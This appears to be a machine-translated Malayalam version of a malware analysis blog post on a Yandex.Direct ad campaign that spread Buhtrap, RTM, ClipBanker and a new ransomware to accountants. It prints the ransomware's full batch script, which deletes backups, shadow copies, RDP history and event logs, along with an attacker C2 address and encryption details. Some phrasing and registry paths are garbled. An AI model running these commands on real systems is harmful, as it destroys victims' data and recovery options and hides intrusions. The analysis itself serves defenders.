Yandex.Direct ഉപയോഗിച്ചാണ് ബാക്ക്ഡോറും ബുഹ്ട്രാപ്പ് എൻക്രിപ്റ്ററും വിതരണം ചെയ്തത്

സൈബർ ആക്രമണത്തിൽ അക്കൗണ്ടന്റുമാരെ ടാർഗെറ്റുചെയ്യുന്നതിന്, അവർ ഓൺലൈനിൽ തിരയുന്ന വർക്ക് ഡോക്യുമെന്റുകൾ നിങ്ങൾക്ക് ഉപയോഗിക്കാം. അറിയാവുന്ന പിൻവാതിലുകൾ വിതരണം ചെയ്തുകൊണ്ട് കഴിഞ്ഞ കുറച്ച് മാസങ്ങളായി ഒരു സൈബർ ഗ്രൂപ്പ് ചെയ്യുന്നത് ഏകദേശം ഇതാണ്. ബുഹ്ട്രാപ്പ് и ആർടിഎം, അതുപോലെ ക്രിപ്‌റ്റോകറൻസികൾ മോഷ്ടിക്കുന്നതിനുള്ള എൻക്രിപ്റ്ററുകളും സോഫ്റ്റ്‌വെയറുകളും. മിക്ക ലക്ഷ്യങ്ങളും റഷ്യയിലാണ്. Yandex.Direct-ൽ ക്ഷുദ്രകരമായ പരസ്യം നൽകിയാണ് ആക്രമണം നടത്തിയത്. ഇരയാകാൻ സാധ്യതയുള്ളവരെ ഒരു വെബ്‌സൈറ്റിലേക്ക് അയച്ചു, അവിടെ ഒരു ഡോക്യുമെന്റ് ടെംപ്ലേറ്റായി വേഷംമാറി ഒരു ക്ഷുദ്ര ഫയൽ ഡൗൺലോഡ് ചെയ്യാൻ ആവശ്യപ്പെട്ടു. ഞങ്ങളുടെ മുന്നറിയിപ്പിന് ശേഷം Yandex ക്ഷുദ്രകരമായ പരസ്യം നീക്കം ചെയ്തു.

ബുഹ്‌ട്രാപ്പിന്റെ സോഴ്‌സ് കോഡ് മുമ്പ് ഓൺലൈനിൽ ചോർന്നതിനാൽ ആർക്കും അത് ഉപയോഗിക്കാനാകും. RTM കോഡ് ലഭ്യത സംബന്ധിച്ച് ഞങ്ങൾക്ക് വിവരങ്ങളൊന്നുമില്ല.

Yandex.Direct ഉപയോഗിച്ച് ആക്രമണകാരികൾ എങ്ങനെയാണ് ക്ഷുദ്രവെയർ വിതരണം ചെയ്തതെന്നും അത് GitHub-ൽ ഹോസ്റ്റ് ചെയ്തതെന്നും ഈ പോസ്റ്റിൽ ഞങ്ങൾ നിങ്ങളോട് പറയും. മാൽവെയറിന്റെ സാങ്കേതിക വിശകലനത്തോടെ പോസ്റ്റ് അവസാനിക്കും.

Buhtrap ഉം RTM ഉം വീണ്ടും ബിസിനസ്സിലേക്ക്

വ്യാപനത്തിന്റെയും ഇരകളുടെയും മെക്കാനിസം

ഇരകൾക്ക് വിതരണം ചെയ്യുന്ന വിവിധ പേലോഡുകൾ ഒരു പൊതു പ്രചരണ സംവിധാനം പങ്കിടുന്നു. ആക്രമണകാരികൾ സൃഷ്ടിച്ച എല്ലാ ക്ഷുദ്ര ഫയലുകളും രണ്ട് വ്യത്യസ്ത GitHub റിപ്പോസിറ്ററികളിൽ സ്ഥാപിച്ചു.

സാധാരണഗതിയിൽ, റിപ്പോസിറ്ററിയിൽ ഡൗൺലോഡ് ചെയ്യാവുന്ന ഒരു ക്ഷുദ്ര ഫയൽ അടങ്ങിയിരിക്കുന്നു, അത് പതിവായി മാറിക്കൊണ്ടിരിക്കും. ഒരു റിപ്പോസിറ്ററിയിലെ മാറ്റങ്ങളുടെ ചരിത്രം കാണാൻ GitHub നിങ്ങളെ അനുവദിക്കുന്നതിനാൽ, ഒരു നിശ്ചിത കാലയളവിൽ ഏതൊക്കെ ക്ഷുദ്രവെയർ വിതരണം ചെയ്തുവെന്ന് നമുക്ക് കാണാൻ കഴിയും. ക്ഷുദ്രകരമായ ഫയൽ ഡൗൺലോഡ് ചെയ്യാൻ ഇരയെ ബോധ്യപ്പെടുത്താൻ, മുകളിലെ ചിത്രത്തിൽ കാണിച്ചിരിക്കുന്ന blanki-shabloni24[.]ru എന്ന വെബ്‌സൈറ്റ് ഉപയോഗിച്ചു.

സൈറ്റിന്റെ രൂപകൽപ്പനയും ക്ഷുദ്ര ഫയലുകളുടെ എല്ലാ പേരുകളും ഒരൊറ്റ ആശയം പിന്തുടരുന്നു - ഫോമുകൾ, ടെംപ്ലേറ്റുകൾ, കരാറുകൾ, സാമ്പിളുകൾ മുതലായവ. ബുഹ്ട്രാപ്പും RTM സോഫ്‌റ്റ്‌വെയറും മുമ്പ് അക്കൗണ്ടന്റുമാരുടെ ആക്രമണങ്ങളിൽ ഉപയോഗിച്ചിട്ടുണ്ടെന്ന് കണക്കിലെടുക്കുമ്പോൾ, ഞങ്ങൾ അനുമാനിച്ചു പുതിയ പ്രചാരണത്തിലെ തന്ത്രവും അതുതന്നെയാണ്. ആക്രമണത്തിനിരയായയാൾ എങ്ങനെയാണ് ആക്രമണകാരികളുടെ വെബ്‌സൈറ്റിൽ എത്തിയത് എന്നതാണ് ഏക ചോദ്യം.

അണുബാധ

ഈ സൈറ്റിൽ അവസാനിച്ചേക്കാവുന്ന നിരവധി ഇരകളെങ്കിലും ക്ഷുദ്രകരമായ പരസ്യങ്ങളാൽ ആകർഷിക്കപ്പെട്ടു. ഒരു ഉദാഹരണ URL ചുവടെയുണ്ട്:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

ലിങ്കിൽ നിന്ന് നിങ്ങൾക്ക് കാണാനാകുന്നതുപോലെ, ബാനർ നിയമാനുസൃതമായ അക്കൌണ്ടിംഗ് ഫോറമായ bb.f2[.]kz-ൽ പോസ്റ്റ് ചെയ്തിട്ടുണ്ട്. വ്യത്യസ്‌ത സൈറ്റുകളിൽ ബാനറുകൾ പ്രത്യക്ഷപ്പെട്ടു, എല്ലാത്തിനും ഒരേ കാമ്പെയ്‌ൻ ഐഡി (blanki_rsya) ഉണ്ടായിരുന്നു, കൂടാതെ അക്കൗണ്ടിംഗ് അല്ലെങ്കിൽ നിയമ സഹായ സേവനങ്ങളുമായി ഏറ്റവും ബന്ധപ്പെട്ടതും ശ്രദ്ധിക്കേണ്ടതാണ്. ടാർഗെറ്റുചെയ്‌ത ആക്രമണങ്ങളെക്കുറിച്ചുള്ള ഞങ്ങളുടെ അനുമാനത്തെ പിന്തുണയ്ക്കുന്ന "ഇൻവോയ്സ് ഫോം ഡൗൺലോഡ് ചെയ്യുക" എന്ന അഭ്യർത്ഥന ഇരയാകാൻ സാധ്യതയുള്ളയാൾ ഉപയോഗിച്ചതായി URL കാണിക്കുന്നു. ബാനറുകൾ പ്രത്യക്ഷപ്പെട്ട സൈറ്റുകളും അനുബന്ധ തിരയൽ അന്വേഷണങ്ങളും ചുവടെയുണ്ട്.

• ഇൻവോയ്സ് ഫോം ഡൗൺലോഡ് ചെയ്യുക – bb.f2[.]kz
• സാമ്പിൾ കരാർ - Ipopen[.]ru
• അപേക്ഷ പരാതി സാമ്പിൾ - 77metrov[.]ru
• കരാർ ഫോം - blank-dogovor-kupli-prodazhi[.]ru
• മാതൃകാ കോടതി ഹർജി - zen.yandex[.]ru
• സാമ്പിൾ പരാതി - yurday[.]ru
• സാമ്പിൾ കരാർ ഫോമുകൾ - Regforum[.]ru
• കരാർ ഫോം - അസിസ്റ്റന്റസ്[.]ru
• സാമ്പിൾ അപ്പാർട്ട്മെന്റ് കരാർ - നപ്രാവ്[.]കോം
• നിയമപരമായ കരാറുകളുടെ സാമ്പിളുകൾ - Avito[.]ru

blanki-shabloni24[.]ru സൈറ്റ് ഒരു ലളിതമായ വിഷ്വൽ അസസ്‌മെന്റ് പാസാക്കാൻ കോൺഫിഗർ ചെയ്‌തിരിക്കാം. സാധാരണഗതിയിൽ, GitHub-ലേക്കുള്ള ലിങ്കുള്ള പ്രൊഫഷണലായി കാണപ്പെടുന്ന ഒരു സൈറ്റിലേക്ക് വിരൽ ചൂണ്ടുന്ന ഒരു പരസ്യം വ്യക്തമായും മോശമായ ഒന്നായി തോന്നുന്നില്ല. കൂടാതെ, ആക്രമണകാരികൾ പരിമിതമായ കാലയളവിലേക്ക് മാത്രം, പ്രചാരണ വേളയിൽ ക്ഷുദ്രകരമായ ഫയലുകൾ റിപ്പോസിറ്ററിയിലേക്ക് അപ്‌ലോഡ് ചെയ്തു. മിക്കപ്പോഴും, GitHub ശേഖരത്തിൽ ഒരു ശൂന്യമായ zip ആർക്കൈവ് അല്ലെങ്കിൽ ഒരു ശൂന്യമായ EXE ഫയൽ അടങ്ങിയിരിക്കുന്നു. അതിനാൽ, നിർദ്ദിഷ്ട തിരയൽ ചോദ്യങ്ങൾക്ക് മറുപടിയായി വന്ന അക്കൗണ്ടന്റുമാർ മിക്കവാറും സന്ദർശിച്ച സൈറ്റുകളിൽ Yandex.Direct വഴി ആക്രമണകാരികൾക്ക് പരസ്യം വിതരണം ചെയ്യാൻ കഴിയും.

അടുത്തതായി, ഈ രീതിയിൽ വിതരണം ചെയ്യുന്ന വിവിധ പേലോഡുകൾ നോക്കാം.

പേലോഡ് വിശകലനം

വിതരണത്തിന്റെ കാലഗണന

2018 ഒക്‌ടോബർ അവസാനം ക്ഷുദ്രകരമായ കാമ്പെയ്‌ൻ ആരംഭിച്ചു, എഴുതുന്ന സമയത്ത് സജീവമാണ്. മുഴുവൻ റിപ്പോസിറ്ററിയും GitHub-ൽ പൊതുവായി ലഭ്യമായതിനാൽ, ആറ് വ്യത്യസ്ത ക്ഷുദ്രവെയർ കുടുംബങ്ങളുടെ വിതരണത്തിന്റെ കൃത്യമായ ടൈംലൈൻ ഞങ്ങൾ സമാഹരിച്ചു (ചുവടെയുള്ള ചിത്രം കാണുക). git ചരിത്രവുമായി താരതമ്യപ്പെടുത്തുന്നതിനായി, ESET ടെലിമെട്രി ഉപയോഗിച്ച് അളക്കുന്ന ബാനർ ലിങ്ക് എപ്പോൾ കണ്ടെത്തി എന്ന് കാണിക്കുന്ന ഒരു ലൈൻ ഞങ്ങൾ ചേർത്തിട്ടുണ്ട്. നിങ്ങൾക്ക് കാണാനാകുന്നതുപോലെ, ഇത് GitHub-ലെ പേലോഡിന്റെ ലഭ്യതയുമായി നന്നായി ബന്ധപ്പെട്ടിരിക്കുന്നു. ഫെബ്രുവരി അവസാനത്തെ പൊരുത്തക്കേട്, ഞങ്ങൾക്ക് മാറ്റ ചരിത്രത്തിന്റെ ഒരു ഭാഗം ഇല്ലെന്ന വസ്തുത വിശദീകരിക്കാൻ കഴിയും, കാരണം അത് പൂർണ്ണമായി ലഭിക്കുന്നതിന് മുമ്പ് ശേഖരം GitHub-ൽ നിന്ന് നീക്കം ചെയ്തു.

ചിത്രം 1. ക്ഷുദ്രവെയർ വിതരണത്തിന്റെ കാലഗണന.

കോഡ് സൈനിംഗ് സർട്ടിഫിക്കറ്റുകൾ

കാമ്പയിൻ ഒന്നിലധികം സർട്ടിഫിക്കറ്റുകൾ ഉപയോഗിച്ചു. ചിലതിൽ ഒന്നിലധികം ക്ഷുദ്രവെയർ കുടുംബങ്ങൾ ഒപ്പിട്ടിട്ടുണ്ട്, വ്യത്യസ്ത സാമ്പിളുകൾ ഒരേ കാമ്പെയ്‌നിന്റേതാണെന്ന് കൂടുതൽ സൂചിപ്പിക്കുന്നു. പ്രൈവറ്റ് കീയുടെ ലഭ്യത ഉണ്ടായിരുന്നിട്ടും, ഓപ്പറേറ്റർമാർ വ്യവസ്ഥാപിതമായി ബൈനറികളിൽ ഒപ്പിടില്ല, എല്ലാ സാമ്പിളുകൾക്കും കീ ഉപയോഗിച്ചില്ല. 2019 ഫെബ്രുവരി അവസാനം, ആക്രമണകാരികൾ സ്വകാര്യ കീ ഇല്ലാത്ത Google-ന്റെ ഉടമസ്ഥതയിലുള്ള സർട്ടിഫിക്കറ്റ് ഉപയോഗിച്ച് അസാധുവായ ഒപ്പുകൾ സൃഷ്ടിക്കാൻ തുടങ്ങി.

കാമ്പെയ്‌നിൽ ഉൾപ്പെട്ടിരിക്കുന്ന എല്ലാ സർട്ടിഫിക്കറ്റുകളും അവർ ഒപ്പിട്ട ക്ഷുദ്രവെയർ കുടുംബങ്ങളും ചുവടെയുള്ള പട്ടികയിൽ ലിസ്‌റ്റ് ചെയ്‌തിരിക്കുന്നു.

മറ്റ് ക്ഷുദ്രവെയർ കുടുംബങ്ങളുമായി ലിങ്കുകൾ സ്ഥാപിക്കാൻ ഞങ്ങൾ ഈ കോഡ് സൈനിംഗ് സർട്ടിഫിക്കറ്റുകളും ഉപയോഗിച്ചു. മിക്ക സർട്ടിഫിക്കറ്റുകൾക്കും, ഒരു GitHub ശേഖരണത്തിലൂടെ വിതരണം ചെയ്യാത്ത സാമ്പിളുകൾ ഞങ്ങൾ കണ്ടെത്തിയില്ല. എന്നിരുന്നാലും, ബോട്ട്നെറ്റിന്റെ ക്ഷുദ്രവെയർ ഒപ്പിടാൻ TOV "MARIYA" സർട്ടിഫിക്കറ്റ് ഉപയോഗിച്ചു വൗച്ചോസ്, ആഡ്‌വെയറും ഖനിത്തൊഴിലാളികളും. ഈ കാമ്പെയ്‌നുമായി ഈ ക്ഷുദ്രവെയർ ബന്ധപ്പെട്ടിരിക്കാൻ സാധ്യതയില്ല. മിക്കവാറും, സർട്ടിഫിക്കറ്റ് ഡാർക്ക്നെറ്റിൽ വാങ്ങിയതാകാം.

Win32/Filecoder.Buhtrap

പുതുതായി കണ്ടെത്തിയ Win32/Filecoder.Buhtrap ആണ് ഞങ്ങളുടെ ശ്രദ്ധ ആകർഷിച്ച ആദ്യത്തെ ഘടകം. ഇത് ചിലപ്പോൾ പാക്കേജുചെയ്തിരിക്കുന്ന ഒരു ഡെൽഫി ബൈനറി ഫയലാണ്. 2019 ഫെബ്രുവരി-മാർച്ച് മാസങ്ങളിലാണ് ഇത് പ്രധാനമായും വിതരണം ചെയ്തത്. ഇത് ഒരു ransomware പ്രോഗ്രാമിന് അനുയോജ്യമായ രീതിയിൽ പ്രവർത്തിക്കുന്നു - ഇത് ലോക്കൽ ഡ്രൈവുകളും നെറ്റ്‌വർക്ക് ഫോൾഡറുകളും തിരയുകയും കണ്ടെത്തിയ ഫയലുകൾ എൻക്രിപ്റ്റ് ചെയ്യുകയും ചെയ്യുന്നു. എൻക്രിപ്ഷൻ കീകൾ അയയ്‌ക്കുന്നതിന് സെർവറുമായി ബന്ധപ്പെടാത്തതിനാൽ, വിട്ടുവീഴ്ച ചെയ്യപ്പെടുന്നതിന് ഇതിന് ഇന്റർനെറ്റ് കണക്ഷൻ ആവശ്യമില്ല. പകരം, ഇത് മോചനദ്രവ്യ സന്ദേശത്തിന്റെ അവസാനം ഒരു "ടോക്കൺ" ചേർക്കുന്നു, കൂടാതെ ഓപ്പറേറ്റർമാരെ ബന്ധപ്പെടാൻ ഇമെയിൽ അല്ലെങ്കിൽ ബിറ്റ്മെസേജ് ഉപയോഗിക്കാൻ നിർദ്ദേശിക്കുന്നു.

കഴിയുന്നത്ര സെൻസിറ്റീവ് ഉറവിടങ്ങൾ എൻക്രിപ്റ്റ് ചെയ്യാൻ, Filecoder.Buhtrap, എൻക്രിപ്ഷനെ തടസ്സപ്പെടുത്തുന്ന വിലപ്പെട്ട വിവരങ്ങൾ അടങ്ങുന്ന തുറന്ന ഫയൽ ഹാൻഡ്‌ലറുകൾ ഉള്ള പ്രധാന സോഫ്‌റ്റ്‌വെയർ ഷട്ട് ഡൗൺ ചെയ്യാൻ രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്ന ഒരു ത്രെഡ് പ്രവർത്തിപ്പിക്കുന്നു. ടാർഗെറ്റ് പ്രോസസ്സുകൾ പ്രധാനമായും ഡാറ്റാബേസ് മാനേജ്മെന്റ് സിസ്റ്റങ്ങളാണ് (DBMS). കൂടാതെ, Filecoder.Buhtrap, ഡാറ്റ റിക്കവറി പ്രയാസകരമാക്കാൻ ലോഗ് ഫയലുകളും ബാക്കപ്പുകളും ഇല്ലാതാക്കുന്നു. ഇത് ചെയ്യുന്നതിന്, ചുവടെയുള്ള ബാച്ച് സ്ക്രിപ്റ്റ് പ്രവർത്തിപ്പിക്കുക.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap വെബ്‌സൈറ്റ് സന്ദർശകരെക്കുറിച്ചുള്ള വിവരങ്ങൾ ശേഖരിക്കാൻ രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്ന ഒരു നിയമാനുസൃത ഓൺലൈൻ ഐപി ലോഗർ സേവനം ഉപയോഗിക്കുന്നു. ഇത് കമാൻഡ് ലൈനിന്റെ ഉത്തരവാദിത്തമായ ransomware-ന്റെ ഇരകളെ ട്രാക്ക് ചെയ്യാൻ ഉദ്ദേശിച്ചുള്ളതാണ്:

mshta.exe "javascript:document.write('');"

മൂന്ന് ഒഴിവാക്കൽ ലിസ്റ്റുകളുമായി പൊരുത്തപ്പെടുന്നില്ലെങ്കിൽ എൻക്രിപ്ഷനുള്ള ഫയലുകൾ തിരഞ്ഞെടുക്കും. ഒന്നാമതായി, ഇനിപ്പറയുന്ന വിപുലീകരണങ്ങളുള്ള ഫയലുകൾ എൻക്രിപ്റ്റ് ചെയ്തിട്ടില്ല: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys കൂടാതെ .ബാറ്റ്. രണ്ടാമതായി, ചുവടെയുള്ള ലിസ്റ്റിൽ നിന്ന് മുഴുവൻ പാതയിലും ഡയറക്‌ടറി സ്ട്രിംഗുകൾ അടങ്ങിയിരിക്കുന്ന എല്ലാ ഫയലുകളും ഒഴിവാക്കിയിരിക്കുന്നു.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

മൂന്നാമതായി, ചില ഫയലുകളുടെ പേരുകളും എൻക്രിപ്ഷനിൽ നിന്ന് ഒഴിവാക്കിയിരിക്കുന്നു, അവയിൽ മോചനദ്രവ്യ സന്ദേശത്തിന്റെ പേരുകൂടിയുണ്ട്. പട്ടിക ചുവടെ അവതരിപ്പിച്ചിരിക്കുന്നു. വ്യക്തമായും, ഈ ഒഴിവാക്കലുകളെല്ലാം മെഷീൻ പ്രവർത്തിപ്പിക്കുന്നതിന് ഉദ്ദേശിച്ചുള്ളതാണ്, എന്നാൽ കുറഞ്ഞ റോഡുപയോഗത്തോടെ.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

ഫയൽ എൻക്രിപ്ഷൻ സ്കീം

എക്സിക്യൂട്ട് ചെയ്തുകഴിഞ്ഞാൽ, ക്ഷുദ്രവെയർ ഒരു 512-ബിറ്റ് RSA കീ ജോഡി സൃഷ്ടിക്കുന്നു. പ്രൈവറ്റ് എക്‌സ്‌പോണന്റും (ഡി) മോഡുലസും (എൻ) പിന്നീട് ഹാർഡ്-കോഡുചെയ്‌ത 2048-ബിറ്റ് പബ്ലിക് കീ (പബ്ലിക് എക്‌സ്‌പോണന്റും മോഡുലസും), zlib-പാക്ക് ചെയ്‌ത്, ബേസ്64 എൻകോഡ് ചെയ്‌ത് എൻക്രിപ്റ്റ് ചെയ്യുന്നു. ഇതിന് ഉത്തരവാദിയായ കോഡ് ചിത്രം 2 ൽ കാണിച്ചിരിക്കുന്നു.

ചിത്രം 2. 512-ബിറ്റ് RSA കീ ജോഡി ജനറേഷൻ പ്രക്രിയയുടെ ഹെക്സ്-റേസ് ഡീകംപൈലേഷന്റെ ഫലം.

ജനറേറ്റ് ചെയ്‌ത സ്വകാര്യ കീ ഉള്ള പ്ലെയിൻ ടെക്‌സ്‌റ്റിന്റെ ഒരു ഉദാഹരണം ചുവടെയുണ്ട്, അത് മോചനദ്രവ്യ സന്ദേശത്തിൽ ഘടിപ്പിച്ചിരിക്കുന്ന ഒരു ടോക്കണാണ്.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

ആക്രമണകാരികളുടെ പൊതു കീ ചുവടെ നൽകിയിരിക്കുന്നു.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

128-ബിറ്റ് കീ ഉപയോഗിച്ച് AES-256-CBC ഉപയോഗിച്ചാണ് ഫയലുകൾ എൻക്രിപ്റ്റ് ചെയ്തിരിക്കുന്നത്. എൻക്രിപ്റ്റ് ചെയ്ത ഓരോ ഫയലിനും, ഒരു പുതിയ കീയും ഒരു പുതിയ ഇനീഷ്യലൈസേഷൻ വെക്‌ടറും ജനറേറ്റുചെയ്യുന്നു. എൻക്രിപ്റ്റ് ചെയ്ത ഫയലിന്റെ അവസാനം പ്രധാന വിവരങ്ങൾ ചേർത്തിരിക്കുന്നു. എൻക്രിപ്റ്റ് ചെയ്ത ഫയലിന്റെ ഫോർമാറ്റ് നോക്കാം.
എൻക്രിപ്റ്റ് ചെയ്ത ഫയലുകൾക്ക് ഇനിപ്പറയുന്ന തലക്കെട്ടുണ്ട്:

VEGA മാജിക് മൂല്യം ചേർത്ത് സോഴ്സ് ഫയൽ ഡാറ്റ ആദ്യ 0x5000 ബൈറ്റുകളിലേക്ക് എൻക്രിപ്റ്റ് ചെയ്തിരിക്കുന്നു. എല്ലാ ഡീക്രിപ്ഷൻ വിവരങ്ങളും ഇനിപ്പറയുന്ന ഘടനയുള്ള ഒരു ഫയലിൽ അറ്റാച്ചുചെയ്‌തിരിക്കുന്നു:

- ഫയൽ വലുപ്പം മാർക്കറിൽ ഫയൽ 0x5000 ബൈറ്റുകളേക്കാൾ വലുതാണോ എന്ന് സൂചിപ്പിക്കുന്ന ഒരു അടയാളം അടങ്ങിയിരിക്കുന്നു
— AES കീ ബ്ലോബ് = ZlibCompress(RSAEncrypt(AES കീ + IV, ജനറേറ്റ് ചെയ്ത RSA കീ ജോഡിയുടെ പൊതു കീ))
- RSA കീ ബ്ലോബ് = ZlibCompress(RSAEncrypt(ജനറേറ്റ് ചെയ്ത RSA പ്രൈവറ്റ് കീ, ഹാർഡ്-കോഡഡ് RSA പബ്ലിക് കീ))

Win32/ClipBanker

Win32/ClipBanker 2018 ഒക്ടോബർ അവസാനം മുതൽ ഡിസംബർ ആദ്യം വരെ ഇടയ്ക്കിടെ വിതരണം ചെയ്ത ഒരു ഘടകമാണ്. ക്ലിപ്പ്ബോർഡിലെ ഉള്ളടക്കങ്ങൾ നിരീക്ഷിക്കുക എന്നതാണ് ഇതിന്റെ പങ്ക്, ഇത് ക്രിപ്‌റ്റോകറൻസി വാലറ്റുകളുടെ വിലാസങ്ങൾക്കായി തിരയുന്നു. ടാർഗെറ്റ് വാലറ്റ് വിലാസം നിർണ്ണയിച്ച ശേഷം, ClipBanker അതിനെ ഓപ്പറേറ്റർമാരുടേതെന്ന് വിശ്വസിക്കുന്ന ഒരു വിലാസം ഉപയോഗിച്ച് മാറ്റിസ്ഥാപിക്കുന്നു. ഞങ്ങൾ പരിശോധിച്ച സാമ്പിളുകൾ പെട്ടിയിലാക്കിയതോ അവ്യക്തമായതോ ആയിരുന്നില്ല. സ്വഭാവം മറയ്ക്കാൻ ഉപയോഗിക്കുന്ന ഏക സംവിധാനം സ്ട്രിംഗ് എൻക്രിപ്ഷൻ ആണ്. ഓപ്പറേറ്റർ വാലറ്റ് വിലാസങ്ങൾ RC4 ഉപയോഗിച്ച് എൻക്രിപ്റ്റ് ചെയ്തിരിക്കുന്നു. ബിറ്റ്‌കോയിൻ, ബിറ്റ്‌കോയിൻ ക്യാഷ്, ഡോഗ്‌കോയിൻ, എതെറിയം, റിപ്പിൾ എന്നിവയാണ് ടാർഗെറ്റ് ക്രിപ്‌റ്റോകറൻസികൾ.

ആക്രമണകാരികളുടെ ബിറ്റ്‌കോയിൻ വാലറ്റുകളിലേക്ക് ക്ഷുദ്രവെയർ പടരുന്ന കാലയളവിൽ, ഒരു ചെറിയ തുക VTS-ലേക്ക് അയച്ചു, ഇത് കാമ്പെയ്‌നിന്റെ വിജയത്തെക്കുറിച്ച് സംശയം ജനിപ്പിക്കുന്നു. കൂടാതെ, ഈ ഇടപാടുകൾ ClipBanker-മായി ബന്ധപ്പെട്ടതാണെന്നതിന് തെളിവുകളൊന്നുമില്ല.

Win32/RTM

Win32/RTM ഘടകം 2019 മാർച്ച് ആദ്യം നിരവധി ദിവസത്തേക്ക് വിതരണം ചെയ്തു. റിമോട്ട് ബാങ്കിംഗ് സംവിധാനങ്ങൾ ലക്ഷ്യമിട്ട് ഡെൽഫിയിൽ എഴുതിയ ഒരു ട്രോജൻ ബാങ്കറാണ് RTM. 2017 ൽ, ESET ഗവേഷകർ പ്രസിദ്ധീകരിച്ചു വിശദമായ വിശകലനം ഈ പ്രോഗ്രാമിന്റെ വിവരണം ഇപ്പോഴും പ്രസക്തമാണ്. 2019 ജനുവരിയിൽ പാലോ ആൾട്ടോ നെറ്റ്‌വർക്കുകളും പുറത്തിറക്കി RTM നെക്കുറിച്ചുള്ള ബ്ലോഗ് പോസ്റ്റ്.

ബുഹ്ട്രാപ്പ് ലോഡർ

കുറച്ചു കാലത്തേക്ക്, GitHub-ൽ ഒരു ഡൗൺലോഡർ ലഭ്യമായിരുന്നു, അത് മുമ്പത്തെ Buhtrap ടൂളുകൾക്ക് സമാനമല്ല. അവൻ തിരിയുന്നു https://94.100.18[.]67/RSS.php?<some_id> അടുത്ത ഘട്ടം നേടുന്നതിനും അത് നേരിട്ട് മെമ്മറിയിലേക്ക് ലോഡ് ചെയ്യുന്നതിനും. രണ്ടാം ഘട്ട കോഡിന്റെ രണ്ട് സ്വഭാവങ്ങൾ നമുക്ക് വേർതിരിച്ചറിയാൻ കഴിയും. ആദ്യ URL-ൽ, RSS.php നേരിട്ട് Buhtrap പിൻവാതിൽ കടന്നു - ഈ ബാക്ക്ഡോർ സോഴ്സ് കോഡ് ചോർന്നതിന് ശേഷം ലഭ്യമായതിന് സമാനമാണ്.

രസകരമെന്നു പറയട്ടെ, ബുഹ്‌ട്രാപ്പ് ബാക്ക്‌ഡോറുള്ള നിരവധി കാമ്പെയ്‌നുകൾ ഞങ്ങൾ കാണുന്നു, അവ വ്യത്യസ്‌ത ഓപ്പറേറ്റർമാരാണെന്ന് ആരോപിക്കപ്പെടുന്നു. ഈ സാഹചര്യത്തിൽ, പ്രധാന വ്യത്യാസം, ബാക്ക്ഡോർ നേരിട്ട് മെമ്മറിയിലേക്ക് ലോഡ് ചെയ്യുകയും ഞങ്ങൾ സംസാരിച്ച DLL വിന്യാസ പ്രക്രിയയിൽ സാധാരണ സ്കീം ഉപയോഗിക്കുന്നില്ല എന്നതാണ്. മുമ്പ്. കൂടാതെ, C&C സെർവറിലേക്ക് നെറ്റ്‌വർക്ക് ട്രാഫിക് എൻക്രിപ്റ്റ് ചെയ്യാൻ ഉപയോഗിക്കുന്ന RC4 കീ ഓപ്പറേറ്റർമാർ മാറ്റി. നമ്മൾ കണ്ട മിക്ക കാമ്പെയ്‌നുകളിലും, ഈ കീ മാറ്റാൻ ഓപ്പറേറ്റർമാർ മെനക്കെടാറില്ല.

